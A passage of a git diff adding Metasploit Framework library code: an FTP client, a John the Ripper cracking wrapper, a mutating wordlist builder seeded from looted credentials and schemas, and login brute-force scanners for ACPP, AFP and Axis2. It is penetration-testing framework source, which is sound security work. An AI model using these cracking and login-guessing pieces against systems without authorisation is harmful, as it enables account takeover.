'metasploit/framework/database' + +module Metasploit::Framework::Database::Cucumber + def self.project_configurations_path + Rails.root.join('config', 'database.yml').to_path + end + + def self.backup_project_configurations + if File.exist?(project_configurations_path) + # assume that the backup file is from a previously aborted run and it contains the real database.yml data, so + # just delete the fake database.yml and the After hook will restore the real database.yml from the backup location + if File.exist?(backup_project_configurations_path) + File.delete(project_configurations_path) + else + # project contains the real database.yml and there was no previous, aborted run. + File.rename(project_configurations_path, backup_project_configurations_path) + end + end + end + + def self.backup_project_configurations_path + "#{project_configurations_path}.cucumber.bak" + end + + def self.restore_project_configurations + if File.exist?(backup_project_configurations_path) + if File.exist?(project_configurations_path) + # Remove fake, leftover database.yml + File.delete(project_configurations_path) + end + + File.rename(backup_project_configurations_path, project_configurations_path) + end + end +end + diff --git a/lib/metasploit/framework/engine.rb b/lib/metasploit/framework/engine.rb new file mode 100644 index 0000000000..95f7127fe3 --- /dev/null +++ b/lib/metasploit/framework/engine.rb @@ -0,0 +1,19 @@ +# +# Gems +# + +require 'rails/engine' + +# +# Project +# + +require 'metasploit/framework/common_engine' + +module Metasploit + module Framework + class Engine < Rails::Engine + include Metasploit::Framework::CommonEngine + end + end +end diff --git a/lib/metasploit/framework/ftp/client.rb b/lib/metasploit/framework/ftp/client.rb new file mode 100644 index 0000000000..c61b8f60a9 --- /dev/null +++ b/lib/metasploit/framework/ftp/client.rb @@ -0,0 +1,281 @@ +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module Ftp + module Client + extend ActiveSupport::Concern + include Metasploit::Framework::Tcp::Client + + # + # This method establishes an FTP connection to host and port specified by + # the 'rhost' and 'rport' methods. After connecting, the banner + # message is read in and stored in the 'banner' attribute. + # + def connect(global = true) + fd = super(global) + + @ftpbuff = '' unless @ftpbuff + + # Wait for a banner to arrive... + self.banner = recv_ftp_resp(fd) + + # Return the file descriptor to the caller + fd + end + + # + # This method handles establishing datasocket for data channel + # + def data_connect(mode = nil, nsock = self.sock) + if mode + res = send_cmd([ 'TYPE' , mode ], true, nsock) + return nil if not res =~ /^200/ + end + + # force datasocket to renegotiate + self.datasocket.shutdown if self.datasocket != nil + + res = send_cmd(['PASV'], true, nsock) + return nil if not res =~ /^227/ + + # 227 Entering Passive Mode (127,0,0,1,196,5) + if res =~ /\((\d+)\,(\d+),(\d+),(\d+),(\d+),(\d+)/ + # convert port to FTP syntax + datahost = "#{$1}.#{$2}.#{$3}.#{$4}" + dataport = ($5.to_i * 256) + $6.to_i + self.datasocket = Rex::Socket::Tcp.create( + 'PeerHost' => datahost, + 'PeerPort' => dataport, + 'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module } + ) + end + self.datasocket + end + + # + # This method handles disconnecting our data channel + # + def data_disconnect + self.datasocket.shutdown + self.datasocket = nil + end + + # + # Connect and login to the remote FTP server using the credentials + # that have been supplied in the exploit options. + # + def connect_login(user,pass,global = true) + ftpsock = connect(global) + + if !(user and pass) + return false + end + + res = send_user(user, ftpsock) + + if (res !~ /^(331|2)/) + return false + end + + if (pass) + res = send_pass(pass, ftpsock) + if (res !~ /^2/) + return false + end + end + + return true + end + + # + # This method logs in as the supplied user by transmitting the FTP + # 'USER ' command. + # + def send_user(user, nsock = self.sock) + raw_send("USER #{user}\r\n", nsock) + recv_ftp_resp(nsock) + end + + # + # This method completes user authentication by sending the supplied + # password using the FTP 'PASS ' command. + # + def send_pass(pass, nsock = self.sock) + raw_send("PASS #{pass}\r\n", nsock) + recv_ftp_resp(nsock) + end + + # + # This method sends a QUIT command. + # + def send_quit(nsock = self.sock) + raw_send("QUIT\r\n", nsock) + recv_ftp_resp(nsock) + end + + # + # This method sends one command with zero or more parameters + # + def send_cmd(args, recv = true, nsock = self.sock) + cmd = args.join(" ") + "\r\n" + ret = raw_send(cmd, nsock) + if (recv) + return recv_ftp_resp(nsock) + end + return ret + end + + # + # This method transmits the command in args and receives / uploads DATA via data channel + # For commands not needing data, it will fall through to the original send_cmd + # + # For commands that send data only, the return will be the server response. + # For commands returning both data and a server response, an array will be returned. + # + # NOTE: This function always waits for a response from the server. + # + def send_cmd_data(args, data, mode = 'a', nsock = self.sock) + type = nil + # implement some aliases for various commands + if (args[0] =~ /^DIR$/i || args[0] =~ /^LS$/i) + # TODO || args[0] =~ /^MDIR$/i || args[0] =~ /^MLS$/i + args[0] = "LIST" + type = "get" + elsif (args[0] =~ /^GET$/i) + args[0] = "RETR" + type = "get" + elsif (args[0] =~ /^PUT$/i) + args[0] = "STOR" + type = "put" + end + + # fall back if it's not a supported data command + if not type + return send_cmd(args, true, nsock) + end + + # Set the transfer mode and connect to the remove server + return nil if not data_connect(mode) + + # Our pending command should have got a connection now. + res = send_cmd(args, true, nsock) + # make sure could open port + return nil unless res =~ /^(150|125) / + + # dispatch to the proper method + if (type == "get") + # failed listings jsut disconnect.. + begin + data = self.datasocket.get_once(-1, ftp_timeout) + rescue ::EOFError + data = nil + end + else + sent = self.datasocket.put(data) + end + + # close data channel so command channel updates + data_disconnect + + # get status of transfer + ret = nil + if (type == "get") + ret = recv_ftp_resp(nsock) + ret = [ ret, data ] + else + ret = recv_ftp_resp(nsock) + end + + ret + end + + # + # This method transmits a FTP command and waits for a response. If one is + # received, it is returned to the caller. + # + def raw_send_recv(cmd, nsock = self.sock) + nsock.put(cmd) + nsock.get_once(-1, ftp_timeout) + end + + # + # This method reads an FTP response based on FTP continuation stuff + # + def recv_ftp_resp(nsock = self.sock) + found_end = false + resp = "" + left = "" + if !@ftpbuff.empty? + left << @ftpbuff + @ftpbuff = "" + end + while true + data = nsock.get_once(-1, ftp_timeout) + if not data + @ftpbuff << resp + @ftpbuff << left + return data + end + + got = left + data + left = "" + + # handle the end w/o newline case + enlidx = got.rindex(0x0a.chr) + if enlidx != (got.length-1) + if not enlidx + left << got + next + else + left << got.slice!((enlidx+1)..got.length) + end + end + + # split into lines + rarr = got.split(/\r?\n/) + rarr.each do |ln| + if not found_end + resp << ln + resp << "\r\n" + if ln.length > 3 and ln[3,1] == ' ' + found_end = true + end + else + left << ln + left << "\r\n" + end + end + if found_end + @ftpbuff << left + return resp + end + end + end + + # + # This method transmits a FTP command and does not wait for a response + # + def raw_send(cmd, nsock = self.sock) + nsock.put(cmd) + end + + def ftp_timeout + raise NotImplementedError + end + + + + protected + + # + # This attribute holds the banner that was read in after a successful call + # to connect or connect_login. + # + attr_accessor :banner, :datasocket + + + end + end + end +end diff --git a/lib/metasploit/framework/jtr/cracker.rb b/lib/metasploit/framework/jtr/cracker.rb new file mode 100644 index 0000000000..52cd44ff7f --- /dev/null +++ b/lib/metasploit/framework/jtr/cracker.rb @@ -0,0 +1,272 @@ +module Metasploit + module Framework + module JtR + + class JohnNotFoundError < StandardError + end + + class Cracker + include ActiveModel::Validations + + # @!attribute config + # @return [String] The path to an optional config file for John to use + attr_accessor :config + + # @!attribute format + # @return [String] The hash format to try + attr_accessor :format + + # @!attribute hash_path + # @return [String] The path to the file containing the hashes + attr_accessor :hash_path + + # @!attribute incremental + # @return [String] The incremental mode to use + attr_accessor :incremental + + # @!attribute john_path + # This attribute allows the user to specify a john binary to use. + # If not supplied, the Cracker will search the PATH for a suitable john binary + # and finally fall back to the pre-compiled versions shipped with Metasploit. + # + # @return [String] The file path to an alternative John binary to use + attr_accessor :john_path + + # @!attribute max_runtime + # @return [Fixnum] An optional maximum duration of the cracking attempt in seconds + attr_accessor :max_runtime + + # @!attribute pot + # @return [String] The file path to an alternative John pot file to use + attr_accessor :pot + + # @!attribute rules + # @return [String] The wordlist mangling rules to use inside John + attr_accessor :rules + + # @!attribute wordlist + # @return [String] The file path to the wordlist to use + attr_accessor :wordlist + + validates :config, :'Metasploit::Framework::File_path' => true, if: 'config.present?' + + validates :hash_path, :'Metasploit::Framework::File_path' => true, if: 'hash_path.present?' + + validates :john_path, :'Metasploit::Framework::Executable_path' => true, if: 'john_path.present?' + + validates :pot, :'Metasploit::Framework::File_path' => true, if: 'pot.present?' + + validates :max_runtime, + numericality: { + only_integer: true, + greater_than_or_equal_to: 0 + }, if: 'max_runtime.present?' + + validates :wordlist, :'Metasploit::Framework::File_path' => true, if: 'wordlist.present?' + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + end + + # This method follows a decision tree to determine the path + # to the John the Ripper binary we should use. + # + # @return [NilClass] if a binary path could not be found + # @return [String] the path to the selected JtR binary + def binary_path + # Always prefer a manually entered path + if john_path && ::File.file?(john_path) + bin_path = john_path + else + # Look in the Environment PATH for the john binary + path = Rex::FileUtils.find_full_path("john") || + Rex::FileUtils.find_full_path("john.exe") + + if path && ::File.file?(path) + bin_path = path + else + # If we can't find john anywhere else, look at our precompiled binaries + bin_path = select_shipped_binary + end + end + raise JohnNotFoundError, 'No suitable John binary was found on the system' if bin_path.blank? + bin_path + end + + # This method runs the command from {#crack_command} and yields each line of output. + # + # @yield [String] a line of output from the john command + # @return [void] + def crack + ::IO.popen(crack_command, "rb") do |fd| + fd.each_line do |line| + yield line + end + end + end + + # This method builds an array for the command to actually run the cracker. + # It builds the command from all of the attributes on the class. + # + # @raise [JohnNotFoundError] if a suitable John binary was never found + # @return [Array] An array set up for {::IO.popen} to use + def crack_command + cmd_string = binary_path + cmd = [ cmd_string, '--session=' + john_session_id, '--nolog' ] + + if config.present? + cmd << ( "--config=" + config ) + else + cmd << ( "--config=" + john_config_file ) + end + + if pot.present? + cmd << ( "--pot=" + pot ) + else + cmd << ( "--pot=" + john_pot_file) + end + + if format.present? + cmd << ( "--format=" + format ) + end + + if wordlist.present? + cmd << ( "--wordlist=" + wordlist ) + end + + if incremental.present? + cmd << ( "--incremental=" + incremental ) + end + + if rules.present? + cmd << ( "--rules=" + rules ) + end + + if max_runtime.present? + cmd << ( "--max-run-time=" + max_runtime.to_s) + end + + cmd << hash_path + end + + # This runs the show command in john and yields cracked passwords. + # + # @yield [String] the output lines from the command + # @return [void] + def each_cracked_password + ::IO.popen(show_command, "rb") do |fd| + fd.each_line do |line| + yield line + end + end + end + + # This method returns the path to a default john.conf file. + # + # @return [String] the path to the default john.conf file + def john_config_file + ::File.join( ::Msf::Config.data_directory, "john", "confs", "john.conf" ) + end + + # This method returns the path to a default john.pot file. + # + # @return [String] the path to the default john.pot file + def john_pot_file + ::File.join( ::Msf::Config.config_directory, "john.pot" ) + end + + # This method is a getter for a random Session ID for John. + # It allows us to dinstiguish between cracking sessions. + # + # @ return [String] the Session ID to use + def john_session_id + @session_id ||= ::Rex::Text.rand_text_alphanumeric(8) + end + + # This method builds the command to show the cracked passwords. + # + # @raise [JohnNotFoundError] if a suitable John binary was never found + # @return [Array] An array set up for {::IO.popen} to use + def show_command + cmd_string = binary_path + + pot_file = pot || john_pot_file + cmd = [cmd_string, "--show", "--pot=#{pot_file}", "--format=#{format}" ] + + if config + cmd << "--config=#{config}" + else + cmd << ( "--config=" + john_config_file ) + end + + cmd << hash_path + end + + private + + # This method tries to identify the correct version of the pre-shipped + # JtR binaries to use based on the platform. + # + # @return [NilClass] if the correct binary could not be determined + # @return [String] the path to the selected binary + def select_shipped_binary + cpuinfo_base = ::File.join(Msf::Config.data_directory, "cpuinfo") + run_path = nil + if File.directory?(cpuinfo_base) + data = nil + + case ::RUBY_PLATFORM + when /mingw|cygwin|mswin/ + fname = "#{cpuinfo_base}/cpuinfo.exe" + if File.exists?(fname) and File.executable?(fname) + data = %x{"#{fname}"} rescue nil + end + case data + when /sse2/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.win32.sse2", "john.exe") + when /mmx/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.win32.mmx", "john.exe") + else + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.win32.any", "john.exe") + end + when /x86_64-linux/ + fname = "#{cpuinfo_base}/cpuinfo.ia64.bin" + if File.exists? fname + ::FileUtils.chmod(0755, fname) rescue nil + data = %x{"#{fname}"} rescue nil + end + case data + when /mmx/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x64.mmx", "john") + else + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.any", "john") + end + when /i[\d]86-linux/ + fname = "#{cpuinfo_base}/cpuinfo.ia32.bin" + if File.exists? fname + ::FileUtils.chmod(0755, fname) rescue nil + data = %x{"#{fname}"} rescue nil + end + case data + when /sse2/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.sse2", "john") + when /mmx/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.mmx", "john") + else + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.any", "john") + end + end + end + run_path + end + + + + end + + end + end +end diff --git a/lib/metasploit/framework/jtr/invalid_wordlist.rb b/lib/metasploit/framework/jtr/invalid_wordlist.rb new file mode 100644 index 0000000000..edf91b9505 --- /dev/null +++ b/lib/metasploit/framework/jtr/invalid_wordlist.rb @@ -0,0 +1,20 @@ +module Metasploit + module Framework + module JtR + + # This class is the generic Exception raised by a {Wordlist} when + # it fails validation. It rolls up all validation errors into a + # single exception so that all errors can be dealt with at once. + class InvalidWordlist < StandardError + attr_reader :model + + def initialize(model) + @model = model + + errors = @model.errors.full_messages.join(', ') + super(errors) + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/jtr/wordlist.rb b/lib/metasploit/framework/jtr/wordlist.rb new file mode 100644 index 0000000000..3bc7c3b9b0 --- /dev/null +++ b/lib/metasploit/framework/jtr/wordlist.rb @@ -0,0 +1,429 @@ +require 'metasploit/framework/jtr/invalid_wordlist' + +module Metasploit + module Framework + module JtR + + class Wordlist + include ActiveModel::Validations + + # A mapping of the mutation substitution rules + MUTATIONS = { + '@' => 'a', + '0' => 'o', + '3' => 'e', + '$' => 's', + '7' => 't', + '1' => 'l', + '5' => 's' + } + + # @!attribute appenders + # @return [Array] an array of strings to append to each word + attr_accessor :appenders + + # @!attribute custom_wordlist + # @return [String] the path to a custom wordlist file to include + attr_accessor :custom_wordlist + + # @!attribute mutate + # @return [TrueClass] if you want each word mutated as it is added + # @return [FalseClass] if you do not want each word mutated + attr_accessor :mutate + + # @!attribute prependers + # @return [Array] an array of strings to prepend to each word + attr_accessor :prependers + + # @!attribute use_common_root + # @return [TrueClass] if you want to use the common root words wordlist + # @return [FalseClass] if you do not want to use the common root words wordlist + attr_accessor :use_common_root + + # @!attribute use_creds + # @return [TrueClass] if you want to seed the wordlist with existing credential data from the database + # @return [FalseClass] if you do not want to seed the wordlist with existing credential data from the database + attr_accessor :use_creds + + # @!attribute use_db_info + # @return [TrueClass] if you want to seed the wordlist with looted database names and schemas + # @return [FalseClass] if you do not want to seed the wordlist with looted database names and schemas + attr_accessor :use_db_info + + # @!attribute use_default_wordlist + # @return [TrueClass] if you want to use the default wordlist + # @return [FalseClass] if you do not want to use the default wordlist + attr_accessor :use_default_wordlist + + # @!attribute use_hostnames + # @return [TrueClass] if you want to seed the wordlist with existing hostnames from the database + # @return [FalseClass] if you do not want to seed the wordlist with existing hostnames from the database + attr_accessor :use_hostnames + + # @!attribute workspace + # @return [Mdm::Workspace] the workspace this cracker is for. + attr_accessor :workspace + + validates :custom_wordlist, :'Metasploit::Framework::File_path' => true, if: 'custom_wordlist.present?' + + validates :mutate, + inclusion: { in: [true, false], message: "must be true or false" } + + + validates :use_common_root, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_creds, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_db_info, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_default_wordlist, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_hostnames, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :workspace, + presence: true + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + @appenders ||= [] + @prependers ||= [] + end + + # This method takes a word, and appends each word from the appenders list + # and yields the new words. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_appended_word(word='') + yield word + appenders.each do |suffix| + yield "#{word}#{suffix}" + end + end + + # This method checks all the attributes set on the object and calls + # the appropriate enumerators for each option and yields the results back + # up the call-chain. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_base_word + # Make sure are attributes are all valid first! + valid! + + # Yield the expanded form of each line of the custom wordlist if one was given + if custom_wordlist.present? + each_custom_word do |word| + yield word unless word.blank? + end + end + + # Yield each word from the common root words list if it was selected + if use_common_root + each_root_word do |word| + yield word unless word.blank? + end + end + + # If the user has selected use_creds we yield each password, username, and realm name + # that currently exists in the database. + if use_creds + each_cred_word do |word| + yield word unless word.blank? + end + end + + if use_db_info + each_database_word do |word| + yield word unless word.blank? + end + end + + if use_default_wordlist + each_default_word do |word| + yield word unless word.blank? + end + end + + if use_hostnames + each_hostname_word do |word| + yield word unless word.blank? + end + end + + end + + # This method searches all saved Credentials in the database + # and yields all passwords, usernames, and realm names it finds. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_cred_word + # We don't want all Private types here. Only Passwords make sense for inclusion in the wordlist. + Metasploit::Credential::Password.all.each do |password| + yield password.data + end + + Metasploit::Credential::Public.all.each do |public| + yield public.username + end + + Metasploit::Credential::Realm.all.each do |realm| + yield realm.value + end + end + + # This method reads the file provided as custom_wordlist and yields + # the expanded form of each word in the list. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_custom_word + ::File.open(custom_wordlist, "rb") do |fd| + fd.each_line do |line| + expanded_words(line) do |word| + yield word + end + end + end + end + + # This method searches the notes in the current workspace + # for DB instance names, database names, table names, and + # column names gathered from live database servers. It yields + # each one that it finds. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_database_word + # Yield database, table and column names from any looted database schemas + workspace.notes.where('ntype like ?', '%.schema%').each do |note| + expanded_words(note.data['DBName']) do |word| + yield word + end + + note.data['Tables'].each do |table| + expanded_words(table['TableName']) do |word| + yield word + end + + table['Columns'].each do |column| + expanded_words(column['ColumnName']) do |word| + yield word + end + end + end + end + + # Yield any capture MSSQL Instance names + workspace.notes.where(['ntype=?', 'mssql.instancename']).each do |note| + expanded_words(note.data['InstanceName']) do |word| + yield word + end + end + end + + # This method yields expanded words taken from the default john + # wordlist that we ship in the data directory. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_default_word + ::File.open(default_wordlist_path, "rb") do |fd| + fd.each_line do |line| + expanded_words(line) do |word| + yield word + end + end + end + end + + # This method yields the expanded words out of all the hostnames + # found in the current workspace. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_hostname_word + workspace.hosts.all.each do |host| + unless host.name.nil? + expanded_words(host.name) do |word| + yield nil + end + end + end + end + + # This method checks to see if the user asked for mutations. If mutations + # have been enabled, then it creates all the unique mutations and yields + # each result. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_mutated_word(word='') + mutants = [ ] + + # Run the mutations only if the option is set + if mutate + mutants = mutants + mutate_word(word) + end + + mutants << word + mutants.uniq.each do |mutant| + yield mutant + end + end + + # This method takes a word, and prepends each word from the prependers list + # and yields the new words. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_prepended_word(word='') + yield word + prependers.each do |prefix| + yield "#{prefix}#{word}" + end + end + + # This method reads the common_roots.txt wordlist + # expands any words in the list and yields them. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_root_word + ::File.open(common_root_words_path, "rb") do |fd| + fd.each_line do |line| + expanded_words(line) do |word| + yield word + end + end + end + end + + # This method wraps around all the other enumerators. It processes + # all of the options and yields each word generated by the options + # selected. + # + # @yieldparam word [String] the word to write out to the wordlist file + # @return [void] + def each_word + each_base_word do |base_word| + each_mutated_word(base_word) do |mutant| + each_prepended_word(mutant) do |prepended| + yield prepended + end + + each_appended_word(mutant) do |appended| + yield appended + end + end + end + end + + # This method takes a string and splits it on non-word characters + # and the underscore. It does this to find likely distinct words + # in the string. It then yields each 'word' found this way. + # + # @param word [String] the string to split apart + # @yieldparam expanded [String] the expanded words + # @return [void] + def expanded_words(word='') + word.split(/[\W_]+/).each do |expanded| + yield expanded + end + end + + # This method takes a word and applies various mutation rules to that word + # and returns an array of all the mutated forms. + # + # @param word [String] the word to apply the mutations to + # @return [Array] An array containing all the mutated forms of the word + def mutate_word(word) + results = [] + # Iterate through combinations to create each possible mutation + mutation_keys.each do |iteration| + next if iteration.flatten.empty? + intermediate = word.dup + subsititutions = iteration.collect { |key| MUTATIONS[key] } + intermediate.tr!(subsititutions.join, iteration.join) + results << intermediate + end + results.flatten.uniq + end + + # A getter for a memoized version fo the mutation keys list + # + # @return [Array] a 2D array of all mutation combinations + def mutation_keys + @mutation_keys ||= generate_mutation_keys + end + + # This method takes all the options provided and streams the generated wordlist out + # to a {Rex::Quickfile} and returns the {Rex::Quickfile}. + # + # @return [Rex::Quickfile] The {Rex::Quickfile} object that the wordlist has been written to + def to_file + valid! + wordlist_file = Rex::Quickfile.new("jtrtmp") + each_word do |word| + wordlist_file.puts word + end + wordlist_file + end + + # Raise an exception if the attributes are not valid. + # + # @raise [Invalid] if the attributes are not valid on this scanner + # @return [void] + def valid! + unless valid? + raise Metasploit::Framework::JtR::InvalidWordlist.new(self) + end + nil + end + + + + private + + # This method returns the path to the common_roots.txt wordlist + # + # @return [String] the file path to the common_roots.txt file + def common_root_words_path + ::File.join(Msf::Config.data_directory, 'john', 'wordlists', 'common_roots.txt') + end + + # This method returns the path to the passwords.lst wordlist + # + # @return [String] the file path to the passwords.lst file + def default_wordlist_path + ::File.join(Msf::Config.data_directory, 'john', 'wordlists', 'password.lst') + end + + def generate_mutation_keys + iterations = MUTATIONS.keys.dup + + # Find PowerSet of all possible mutation combinations + iterations.inject([[]]) do |accumulator,mutation_key| + power_set = [] + accumulator.each do |i| + power_set << i + power_set << i+[mutation_key] + end + power_set + end + end + + end + + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/login_scanner.rb b/lib/metasploit/framework/login_scanner.rb new file mode 100644 index 0000000000..1730977b7a --- /dev/null +++ b/lib/metasploit/framework/login_scanner.rb @@ -0,0 +1,47 @@ +require 'metasploit/framework/credential' + +module Metasploit + module Framework + # This module provides the namespace for all LoginScanner classes. + # LoginScanners are the classes that provide functionality for testing + # authentication against various different protocols and mechanisms. + module LoginScanner + require 'metasploit/framework/login_scanner/result' + require 'metasploit/framework/login_scanner/invalid' + + # Gather a list of LoginScanner classes that can potentially be + # used for a given `service`, which should usually be an + # `Mdm::Service` object, but can be anything that responds to + # #name and #port. + # + # @param service [Mdm::Service,#port,#name] + # @return [Array] A collection of LoginScanner + # classes that will probably give useful results when run + # against `service`. + def self.classes_for_service(service) + + unless @required + # Make sure we've required all the scanner classes + dir = File.expand_path("../login_scanner/", __FILE__) + Dir.glob(File.join(dir, "*.rb")).each do |f| + require f if File.file?(f) + end + @required = true + end + + self.constants.map{|sym| const_get(sym)}.select do |const| + next unless const.kind_of?(Class) + + ( + const.const_defined?(:LIKELY_PORTS) && + const.const_get(:LIKELY_PORTS).include?(service.port) + ) || ( + const.const_defined?(:LIKELY_SERVICE_NAMES) && + const.const_get(:LIKELY_SERVICE_NAMES).include?(service.name) + ) + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/acpp.rb b/lib/metasploit/framework/login_scanner/acpp.rb new file mode 100644 index 0000000000..1f01e59d04 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/acpp.rb @@ -0,0 +1,70 @@ +require 'metasploit/framework/tcp/client' +require 'rex/proto/acpp' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + # This is the LoginScanner class for dealing with the Apple Airport ACPP + # protocol. It is responsible for taking a single target, and a list of + # credentials and attempting them. It then saves the results. + class ACPP + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + # + # CONSTANTS + # + DEFAULT_PORT = Rex::Proto::ACPP::DEFAULT_PORT + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'acpp' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'acpp' + } + + begin + # Make our initial socket to the target + disconnect if self.sock + connect + + client = Rex::Proto::ACPP::Client.new(sock) + + auth_response = client.authenticate(credential.private) + if auth_response.successful? + status = Metasploit::Model::Login::Status::SUCCESSFUL + else + status = Metasploit::Model::Login::Status::INCORRECT + end + result_options.merge!( + proof: "Status code #{auth_response.status}", + status: status + ) + rescue ::EOFError, Errno::ENOTCONN, Rex::ConnectionError, ::Timeout::Error => e + result_options.merge!( + proof: e.message, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + ensure + disconnect + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/afp.rb b/lib/metasploit/framework/login_scanner/afp.rb new file mode 100644 index 0000000000..60f6c0084c --- /dev/null +++ b/lib/metasploit/framework/login_scanner/afp.rb @@ -0,0 +1,55 @@ +require 'metasploit/framework/tcp/client' +require 'metasploit/framework/afp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Apple Filing + # Protocol. + class AFP + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + include Metasploit::Framework::AFP::Client + + DEFAULT_PORT = 548 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ "afp" ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # @!attribute login_timeout + # @return [Integer] Number of seconds to wait before giving up + attr_accessor :login_timeout + + def attempt_login(credential) + begin + connect + rescue Rex::ConnectionError, EOFError, Timeout::Error + status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + else + success = login(credential.public, credential.private) + status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT + end + + result = Result.new(credential: credential, status: status) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'afp' + result + end + + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/axis2.rb b/lib/metasploit/framework/login_scanner/axis2.rb new file mode 100644 index 0000000000..0fc32c9913 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/axis2.rb @@ -0,0 +1,78 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Tomcat Manager login scanner + class Axis2 < HTTP + + DEFAULT_PORT = 8080 + # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP + + CAN_GET_SESSION = true + PRIVATE_TYPES = [ :password ] + + # (see Base#attempt_login) + def attempt_login(credential) + http_client = Rex::Proto::Http::Client.new( + host, port, {}, ssl, ssl_version, proxies + ) + + http_client = config_client(http_client) + + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + + begin + http_client.connect + body = "userName=#{Rex::Text.uri_encode(credential.public)}&password=#{Rex::Text.uri_encode(credential.private)}&submit=+Login+" + request = http_client.request_cgi( + 'uri' => uri, + 'method' => "POST", + 'data' => body, + ) + response = http_client.send_recv(request) + + if response && response.code == 200 && response.body.include?("upload") + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response) + end + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + + Result.new(result_opts) + + end + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/axis2/axis2-admin/login" if self.uri.nil? + @method = "POST".freeze + + super + end + + # The method *must* be "POST", so don't let the user change it + # @raise [RuntimeError] + def method=(_) + raise RuntimeError, "Method must be POST for Axis2" + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/base.rb b/lib/metasploit/framework/login_scanner/base.rb new file mode 100644 index 0000000000..889002eb36 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/base.rb @@ -0,0 +1,297 @@ +require 'metasploit/framework/login_scanner' + +module Metasploit + module Framework + module LoginScanner + + # This module provides the base behaviour for all of + # the LoginScanner classes. All of the LoginScanners + # should include this module to establish base behaviour + module Base + extend ActiveSupport::Concern + include ActiveModel::Validations + + included do + # @!attribute framework + # @return [Object] The framework instance object + attr_accessor :framework + # @!attribute framework_module + # @return [Object] The framework module caller, if availale + attr_accessor :framework_module + # @!attribute connection_timeout + # @return [Fixnum] The timeout in seconds for a single SSH connection + attr_accessor :connection_timeout + # @!attribute cred_details + # @return [CredentialCollection] Collection of Credential objects + attr_accessor :cred_details + # @!attribute host + # @return [String] The IP address or hostname to connect to + attr_accessor :host + # @!attribute port + # @return [Fixnum] The port to connect to + attr_accessor :port + # @!attribute proxies + # @return [String] The proxy directive to use for the socket + attr_accessor :proxies + # @!attribute stop_on_success + # @return [Boolean] Whether the scanner should stop when it has found one working Credential + attr_accessor :stop_on_success + # @!attribute bruteforce_speed + # @return [Fixnum] The desired speed, with 5 being 'fast' and 0 being 